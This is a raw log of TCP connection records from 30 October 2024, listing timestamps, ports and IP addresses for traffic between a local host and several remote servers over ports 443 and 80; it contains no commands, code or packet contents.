Oct 30, 2024 15:59:30.454587936 CET	443	49709	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.454835892 CET	49709	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.478955030 CET	49709	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.478981972 CET	443	49709	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.480725050 CET	49710	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.480796099 CET	443	49710	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.481079102 CET	49710	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.481602907 CET	49710	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.481616020 CET	443	49710	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.482439041 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.482470989 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.483102083 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.483422995 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:30.483429909 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:30.557142019 CET	49860	443	192.168.2.6	18.244.18.122
Oct 30, 2024 15:59:30.557163000 CET	443	49860	18.244.18.122	192.168.2.6
Oct 30, 2024 15:59:30.626882076 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.626920938 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.627006054 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.627013922 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.631129026 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.631201982 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.631208897 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.639941931 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.640012980 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.640023947 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.648551941 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.652650118 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.652663946 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.670490026 CET	49860	443	192.168.2.6	18.244.18.122
Oct 30, 2024 15:59:30.724476099 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.724484921 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.743729115 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.746436119 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.746443987 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.748023033 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.748070955 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.748078108 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.756931067 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.756999969 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.758414030 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.758421898 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.762408018 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.765490055 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.815104008 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.818422079 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.818434954 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.864991903 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.865029097 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.865098000 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.865155935 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.865179062 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.873738050 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.873848915 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.873878956 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.873950958 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.873964071 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.882736921 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.883835077 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.883852005 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.932041883 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.932137966 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.932147980 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.981779099 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.981864929 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.981875896 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.982054949 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.986459970 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.986469030 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.990474939 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.990504026 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.990541935 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.990550041 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:30.990593910 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:30.999892950 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.048747063 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.048794985 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.048824072 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.048835993 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.048886061 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.094429970 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.098668098 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.098706961 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.098764896 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.098789930 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.098926067 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.107541084 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.107615948 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.107640982 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.107682943 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.107692957 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.107732058 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.116749048 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.123599052 CET	49805	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:31.123830080 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:31.128952980 CET	80	49805	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:31.129162073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:31.129235029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:31.129478931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:31.129528999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:31.134860039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:31.134872913 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:31.134996891 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:31.135020018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:31.145308018 CET	49717	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.145334959 CET	443	49717	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.145508051 CET	49717	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.146178007 CET	49717	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.146193027 CET	443	49717	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.146513939 CET	49718	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.146528006 CET	443	49718	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.146578074 CET	49718	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.146742105 CET	49718	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.146754980 CET	443	49718	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.153079033 CET	49719	443	192.168.2.6	172.64.41.3
Oct 30, 2024 15:59:31.153100014 CET	443	49719	172.64.41.3	192.168.2.6
Oct 30, 2024 15:59:31.153166056 CET	49719	443	192.168.2.6	172.64.41.3
Oct 30, 2024 15:59:31.153759003 CET	49719	443	192.168.2.6	172.64.41.3
Oct 30, 2024 15:59:31.153773069 CET	443	49719	172.64.41.3	192.168.2.6
Oct 30, 2024 15:59:31.175709963 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.175746918 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.175797939 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.175811052 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.176017046 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.211353064 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.215679884 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.215756893 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.215764999 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.324174881 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.324212074 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.324256897 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.324333906 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.324361086 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.324579954 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.324608088 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.324632883 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.324640989 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.326409101 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.326416969 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.327969074 CET	443	49709	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.327997923 CET	443	49710	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.328243017 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.330476999 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.333363056 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.333395958 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.333436012 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.333450079 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.333465099 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.336278915 CET	49709	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.336308002 CET	443	49709	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.336762905 CET	49709	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.336767912 CET	443	49709	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.341293097 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.341339111 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.341476917 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.341507912 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.341525078 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.341535091 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.341573000 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.341579914 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.344563961 CET	49710	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.344585896 CET	443	49710	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.345181942 CET	49710	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.345186949 CET	443	49710	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.350687027 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.354403019 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.354413986 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.357609034 CET	443	49696	13.95.31.18	192.168.2.6
Oct 30, 2024 15:59:31.357678890 CET	49696	443	192.168.2.6	13.95.31.18
Oct 30, 2024 15:59:31.358181000 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.358190060 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.358783960 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.358788013 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.400365114 CET	49696	443	192.168.2.6	13.95.31.18
Oct 30, 2024 15:59:31.400381088 CET	443	49696	13.95.31.18	192.168.2.6
Oct 30, 2024 15:59:31.400770903 CET	443	49696	13.95.31.18	192.168.2.6
Oct 30, 2024 15:59:31.412020922 CET	49696	443	192.168.2.6	13.95.31.18
Oct 30, 2024 15:59:31.441817045 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.441869020 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.441886902 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.445581913 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.445624113 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.445631981 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.449978113 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.450030088 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.450036049 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.455336094 CET	443	49696	13.95.31.18	192.168.2.6
Oct 30, 2024 15:59:31.458714962 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.458761930 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.458769083 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.458884001 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.458935022 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.458941936 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.466717005 CET	443	49709	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.466801882 CET	443	49709	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.466851950 CET	49709	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.468254089 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.468285084 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.468302965 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.468312025 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.468350887 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.473973989 CET	443	49710	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.474081039 CET	443	49710	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.474126101 CET	49710	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.489629030 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.489725113 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.489787102 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.492113113 CET	49709	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.492135048 CET	443	49709	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.492146969 CET	49709	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.492152929 CET	443	49709	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.505878925 CET	49710	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.505893946 CET	443	49710	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.505908966 CET	49710	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.505914927 CET	443	49710	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.507044077 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.507050991 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.507076979 CET	49711	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.507081032 CET	443	49711	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.513844013 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.513866901 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.513925076 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.514854908 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.514888048 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.514946938 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.515790939 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.515799046 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.515861988 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.520466089 CET	49721	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.520477057 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.521497965 CET	49722	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.521514893 CET	443	49722	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.521724939 CET	49723	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.521733999 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.558439970 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.559209108 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.559272051 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.559307098 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.562757015 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.562814951 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.562833071 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.567262888 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.567328930 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.567337036 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.575911999 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.575989008 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.575994968 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.576020956 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.576071024 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.576077938 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.576294899 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.576340914 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.590877056 CET	49849	443	192.168.2.6	142.250.186.65
Oct 30, 2024 15:59:31.590888023 CET	443	49849	142.250.186.65	192.168.2.6
Oct 30, 2024 15:59:31.660924911 CET	443	49696	13.95.31.18	192.168.2.6
Oct 30, 2024 15:59:31.661108971 CET	49696	443	192.168.2.6	13.95.31.18
Oct 30, 2024 15:59:31.661128044 CET	443	49696	13.95.31.18	192.168.2.6
Oct 30, 2024 15:59:31.661210060 CET	49696	443	192.168.2.6	13.95.31.18
Oct 30, 2024 15:59:31.661344051 CET	443	49696	13.95.31.18	192.168.2.6
Oct 30, 2024 15:59:31.661384106 CET	443	49696	13.95.31.18	192.168.2.6
Oct 30, 2024 15:59:31.661426067 CET	49696	443	192.168.2.6	13.95.31.18
Oct 30, 2024 15:59:31.674271107 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.674309969 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.674370050 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.674647093 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.674659014 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.694119930 CET	49725	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:31.694156885 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:31.694211006 CET	49725	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:31.694875956 CET	49725	443	192.168.2.6	52.149.20.212
Oct 30, 2024 15:59:31.694886923 CET	443	49725	52.149.20.212	192.168.2.6
Oct 30, 2024 15:59:31.804574966 CET	443	49719	172.64.41.3	192.168.2.6
Oct 30, 2024 15:59:31.804857969 CET	49719	443	192.168.2.6	172.64.41.3
Oct 30, 2024 15:59:31.804872036 CET	443	49719	172.64.41.3	192.168.2.6
Oct 30, 2024 15:59:31.805877924 CET	443	49719	172.64.41.3	192.168.2.6
Oct 30, 2024 15:59:31.805979967 CET	49719	443	192.168.2.6	172.64.41.3
Oct 30, 2024 15:59:31.809134960 CET	443	49718	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.809901953 CET	49718	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.809915066 CET	443	49718	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.811012983 CET	443	49718	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.811068058 CET	49718	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.813577890 CET	443	49717	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.813819885 CET	49717	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.813838959 CET	443	49717	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.814804077 CET	443	49717	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.814867973 CET	49717	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.829761028 CET	49719	443	192.168.2.6	172.64.41.3
Oct 30, 2024 15:59:31.829873085 CET	443	49719	172.64.41.3	192.168.2.6
Oct 30, 2024 15:59:31.832559109 CET	49718	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.832657099 CET	443	49718	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.832798958 CET	49717	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.832885027 CET	443	49717	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.833290100 CET	49719	443	192.168.2.6	172.64.41.3
Oct 30, 2024 15:59:31.833303928 CET	443	49719	172.64.41.3	192.168.2.6
Oct 30, 2024 15:59:31.833627939 CET	49718	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.833642960 CET	443	49718	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.833803892 CET	49717	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.833817959 CET	443	49717	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.903151989 CET	49724	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.903435946 CET	49860	443	192.168.2.6	18.244.18.122
Oct 30, 2024 15:59:31.903510094 CET	443	49860	18.244.18.122	192.168.2.6
Oct 30, 2024 15:59:31.903556108 CET	49860	443	192.168.2.6	18.244.18.122
Oct 30, 2024 15:59:31.906145096 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.906178951 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.906234026 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.906668901 CET	49727	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:31.906685114 CET	443	49727	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.917762041 CET	49719	443	192.168.2.6	172.64.41.3
Oct 30, 2024 15:59:31.918126106 CET	49717	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.941237926 CET	49728	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.941281080 CET	443	49728	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.941342115 CET	49728	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.941564083 CET	49728	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.941576004 CET	443	49728	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.947330952 CET	443	49724	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:31.964123964 CET	443	49719	172.64.41.3	192.168.2.6
Oct 30, 2024 15:59:31.964184999 CET	443	49719	172.64.41.3	192.168.2.6
Oct 30, 2024 15:59:31.964229107 CET	49719	443	192.168.2.6	172.64.41.3
Oct 30, 2024 15:59:31.964477062 CET	49719	443	192.168.2.6	172.64.41.3
Oct 30, 2024 15:59:31.964493036 CET	443	49719	172.64.41.3	192.168.2.6
Oct 30, 2024 15:59:31.965899944 CET	49718	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.966092110 CET	443	49718	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.966150045 CET	443	49718	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.966192007 CET	49718	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.966650963 CET	49718	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.966661930 CET	443	49718	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.967592001 CET	443	49717	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.967648983 CET	443	49717	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:31.967693090 CET	49717	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.967856884 CET	49717	443	192.168.2.6	162.159.61.3
Oct 30, 2024 15:59:31.967868090 CET	443	49717	162.159.61.3	192.168.2.6
Oct 30, 2024 15:59:32.108896017 CET	49731	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.112175941 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.112199068 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.112266064 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.114707947 CET	49729	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:32.114720106 CET	443	49729	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.276428938 CET	443	49721	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.276474953 CET	443	49723	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:32.277643919 CET	49721	443	192.168.2.6	13.107.246.45
